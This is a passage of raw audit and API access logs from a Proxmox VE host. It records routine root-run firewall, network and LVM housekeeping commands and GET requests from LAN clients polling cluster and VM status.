comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746015,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.015:66925): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966350099,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.660:65570): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd4f44e920 a1=576aab8fa310 a2=576aab8f3680 a3=5 items=2 ppid=62982 pid=62983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125534,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.534:59706): argc=1 a0=\"date\""} {"@timestamp":1781965495765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.765:65860): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=573449de7740 items=0 ppid=1156 pid=63257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965746007,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.007:66924): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966350099,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965425656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.656:65568): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125530,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.530:59704): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965495763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.763:65859): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.999:66923): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966349089,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.648:65567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125523,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.523:59703): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965495757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.757:65858): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134e70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745993,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.993:66922): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966349089,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965425640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.640:65566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125516,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.516:59702): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965495751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.751:65857): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb74d8a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745985,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.985:66921): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966347774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965425630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.630:65565): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125509,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.509:59701): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965495745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.745:65856): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745977,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.977:66920): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966347774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.622:65564): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125501,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.501:59700): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965495741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.741:65855): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb74d8a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745972,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.972:66919): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966347774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.619:65563): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e5e920aa740 items=0 ppid=1156 pid=62977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964125496,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.496:59698): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965495735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.735:65854): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f09d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745969,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.969:66918): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966346753,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965425616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.616:65562): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e4230 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125491,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.491:59697): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965495729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.729:65853): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745968,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.968:66917): argc=1 a0=\"date\""} {"@timestamp":1781966346753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965425610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.610:65561): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fc0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125485,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.485:59696): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965495721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.721:65852): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745964,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.964:66915): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966345758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965425603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.603:65560): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125479,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.479:59695): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965495717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.717:65851): arch=c000003e syscall=59 success=yes exit=0 a0=6189bf302e90 a1=6189bf2ffc10 a2=6189bf2e1680 a3=5 items=2 ppid=63243 pid=63249 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745954,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.954:66914): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966345758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425598,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.598:65559): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1306d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125474,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.474:59694): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965495714,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.714:65850): arch=c000003e syscall=59 success=yes exit=0 a0=6189a44caac8 a1=7ffca1e9e540 a2=6189bf2e1680 a3=6189a44ae24e items=2 ppid=63243 pid=63245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745946,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.946:66913): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966343743,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965425591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.591:65558): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136080 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125467,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.467:59693): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965495713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.713:65849): arch=c000003e syscall=59 success=yes exit=0 a0=7ffca1e9e500 a1=6189bf2feb00 a2=6189bf2e1680 a3=5 items=2 ppid=63243 pid=63244 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745939,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.939:66912): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966343743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.587:65557): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125460,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.460:59692): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965495705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.705:65847): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745930,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.930:66911): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966343743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965425578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.578:65556): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125453,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.453:59691): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965495697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.697:65846): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965745920,"@rawstring":"node=pve type=EXECVE msg=audit(1781965745.920:66910): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966343743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.571:65555): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62970 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125449,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.449:59690): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965495690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.690:65845): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965744544,"@rawstring":"node=pve type=EXECVE msg=audit(1781965744.544:66909): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966342749,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965425567,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.567:65554): arch=c000003e syscall=59 success=yes exit=0 a0=634e9b0ddb20 a1=634e9b0e9e00 a2=634e9b0b7680 a3=5 items=2 ppid=62963 pid=62969 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125444,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.444:59689): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965495683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.683:65844): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965744511,"@rawstring":"node=pve type=EXECVE msg=audit(1781965744.511:66908): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966342749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965425557,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.557:65553): arch=c000003e syscall=59 success=yes exit=0 a0=634e67c7cac8 a1=7ffd896e3700 a2=634e9b0b7680 a3=634e67c6024e items=2 ppid=62963 pid=62965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125442,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.442:59688): argc=1 a0=\"date\""} {"@timestamp":1781965495677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.677:65843): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148a40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965744148,"@rawstring":"node=pve type=EXECVE msg=audit(1781965744.148:66907): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966341032,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.551:65552): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd896e36c0 a1=634e9b0d91c0 a2=634e9b0b7680 a3=5 items=2 ppid=62963 pid=62964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125437,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.437:59686): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965495666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.666:65842): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e66f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965744139,"@rawstring":"node=pve type=EXECVE msg=audit(1781965744.139:66904): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966341032,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965425542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.542:65550): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125431,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.431:59685): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965495033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.033:65841): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5470 a1=64f8d15510b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965739132,"@rawstring":"node=pve type=EXECVE msg=audit(1781965739.132:66901): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966339810,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1128"} {"@timestamp":1781965425524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.524:65549): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62962 auid=4294967295 